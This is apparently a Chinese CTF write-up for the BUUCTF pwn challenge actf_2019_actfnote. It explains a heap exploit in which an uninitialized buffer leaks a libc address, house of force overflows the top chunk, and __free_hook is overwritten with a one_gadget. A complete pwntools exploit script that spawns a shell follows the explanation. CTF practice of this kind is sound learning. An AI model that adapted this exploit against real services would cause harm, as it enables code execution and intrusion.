(BUUCTF)actf_2019_actfnote

文章目录

  • 前置知识
  • 整体思路
  • exp

前置知识

  • house of force
  • 数组未初始化漏洞

整体思路

感谢hav1k师傅。首先,通过strdup输入的字符串数组没有初始化,里面本身就包含libc地址,其位于偏移0x18的地方,因此输入长度为0x18的字符填充后即可获得libc地址。

接下来,strdup输入这部分内容产生的chunk不一定大小为0x30,而在edit函数中固定可以输入大小为0x20的内容,因此存在溢出。

可以溢出控制top chunk,先写size-1,然后malloc负数来申请到重叠指针,由此改__free_hook得到结果。

这里放个house of force的公式:

request_size = new_top_chunk_addr - old_top_chunk_addr - 0x10;

// 其中request_size为malloc的大小
// new_top_chunk_addr是申请后top chunk会处于的位置
// old_top_chunk_addr是申请前top chunk会处于的位置
// 这道题中还要注意add中会先malloc(0x18)改变top chunk,算改变后的

exp

from pwn import *
from LibcSearcher import *

filename = './ACTF_2019_ACTFNOTE'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 26122)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = '/$ '

menu_add = 1
add_index_words = ''
add_size_words = 'please input note name size: '
add_name_words = 'please input note name: '
add_content_words = 'please input note content: '

menu_del = 3
del_index_words = 'input note id: '

menu_show = 4
show_index_words = 'input note id: '

menu_edit = 2
edit_index_words = 'input note id: '
edit_size_words = ''
edit_content_words = 'please input new note content: '

def add(index=-1, size=-1, name='', content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_name_words:
        sh.sendafter(add_name_words, name)
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

 
add(size=0x10,name='a\n',content='b'*0x18) #0
add(size=0x10,name='a\n',content='aaaaaaaa') #1
show(index=0)
sh.recvuntil(b'b'*0x18)
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x8e3f2
leak_info('libc.address', libc.address)

add(size=0x10, name='a\n', content='aaaaaaaa') # 2
payload = b'a'*0x18 + p64(0xffffffffffffffff)
edit(index=2, content=payload)

add(size=-0x80, name=p64(libc.sym['__free_hook']), content='')
# sh.recv()
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
edit(index=2, content=p64(libc.address + one_gadget[1]))
delete(index=0)
sh.interactive()
# debug()

参考内容

ACTF_2019_ACTFNOTE(top chunk上移)_topchunk发生合并上抬-CSDN博客

关于house of force的学习总结 - ZikH26 - 博客园 (cnblogs.com)

你可能感兴趣的:(pwn_writeup,安全,系统安全,网络安全)